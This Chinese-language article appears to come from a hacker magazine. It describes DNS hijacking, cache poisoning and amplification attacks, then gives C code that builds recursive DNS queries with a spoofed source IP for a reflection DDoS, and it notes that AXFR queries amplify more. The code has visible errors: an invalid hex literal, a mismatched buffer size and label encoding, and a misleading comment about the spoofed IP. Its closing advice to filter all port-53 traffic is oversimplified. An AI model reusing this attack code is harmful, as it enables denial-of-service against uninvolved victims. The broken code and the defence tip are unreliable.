在日常工作中,我们常见的涉及域名(DNS)管理方面的黑客攻击,主要包括以下三种。 域名劫持:通过采用黑客手段控制域名管理密码,将该域名的NS记录指向到黑客可以控制的DNS服务器,然后通过在该DNS服务器上添加相应域名记录,从而使网民访问该域名时,进入黑客所指定的内容。 域名欺骗(缓存投毒):通过采用黑客手段控制DNS缓存服务器,然后将错误的域名记录存入缓存中,从而使所有使用该缓存服务器的用户得到错误的DNS解析结果。DNS协议由于其自身的弱点——使用16位通信ID,使得黑客可以伪造DNS查询响应报文,导致黑客可以很容易的实施此种攻击。 DNS放大攻击(DNS amplification attacks):通过向一系列无辜的第三方DNS服务器发送大量的查询请求(小的和欺骗性的询问信息),这些查询请求数据包中的源IP地址为被攻击主机的IP地址,DNS服务器将大量的查询结果发送给被攻击主机,使被攻击主机所在的网络拥塞或拒绝服务。 对于DNS的攻击,目前主要有三种利用方法:RD递归域名请求服务、AXFR区域转移请求和DDNS循环查询。本文主要介绍前两种方法的编程实现。
DNS报文结构 1)DNS数据报头 typedef struct dns {unsigned short id; //标识,通过它客户端可以将DNS的请求与应答相匹配 unsigned short flags; //标志:[QR | opcode | AA| TC| RD| RA | zero | rcode ] unsigned short quests; //查询问题数 unsigned short answers; //回答问题数 unsigned short author; //授权资源记录数 unsigned short addition; //额外资源记录数 }DNS;
在flags中,QR判断结果为0则查询,为1则响应报文;opcode用于区别查询类型;AA用于判断是否为授权回答;TC用于判断是否可截断;RD用于判断是否是期望递归查询;RA用于判断是否为可用递归;zero则必须为0;rcode为返回码字段。
2)DNS查询数据报 typedef struct query {unsigned char *name; //查询的域名,计数字节的值必须为0到63之间的数 unsigned short type; //查询类型,大约有20个不同的类型 unsigned short classes; //查询类,通常是1,即互联网地址 }QUERY;
3)DNS响应数据报 typedef struct response {unsigned char *name; //查询的域名 unsigned short type; //查询类型 unsigned short classes; //类型码 unsigned int ttl; //生存时间 unsigned short length; //资源数据长度 unsigned int addr; //资源数据 }RESPONSE;
构造查询数据包 DNS stDns; QUERY stQuery; RESPONSE stResponse; IPHEADER stIpHeader;
stDns.id = Ox2007; //< 0表示查询报文 stDns.flags = htons(0x0100);//< 置RD为1表示递归查询 stDns.quests = htons(1); //< 查询问题数为1 stDns.answers = htons(0); //< 回答问题数为0 stDns.author = htons(0); //< 授权资源记录数为0 stDns.addition = htons(0); //< 额外资源记录数为0
/**其中的3www9dream2fly3net0为域名www.dream2fly.net的表示,每个名字以首字节的计算量来说明随后标识符的字节长度,每个名字以最后字节为0结束**/ stQuery.name = (unsigned char *)malloc(strlen("www9dream2fly3net0")*sizeof(unsigned char)); memcpy(stQuery.name, "3www9dream2fly3net0", strlen("www9dream2fly3net0")); stQuery.type = 1; //< 1标识查询IP地址,如果为252则为区域转移查询,会放大更多的流量 stQuery.classes = 1; //< 通常是1,即互联网地址 stIpHeader.sourceip = AttackIp; //< attackip伪造为攻击者的IP stIpHeader.destip = DnsServerIp; //< DnsServerIp为DNS服务器IP
通过以上的代码伪造DNS数据包,我们就可以向DNS服务器发送域名查询报文了,而DNS服务器返回的应答报文则会发送给被攻击主机。一般这些响应报文比我们发送的查询报文要大,从而实现放大攻击的目的,同时还可以隐藏我们的攻击身份。至于发送部分,我们可以用Winpcap库来实现,具体方法大家可以参考我在黑防2007年第3期上发表的《编程实现DRDoS攻击》一文,本文不再赘述。至于DNS攻击的防范,方法就简单多了,我们只需直接过滤掉TCP和UDP源端口为53的数据包即可。 |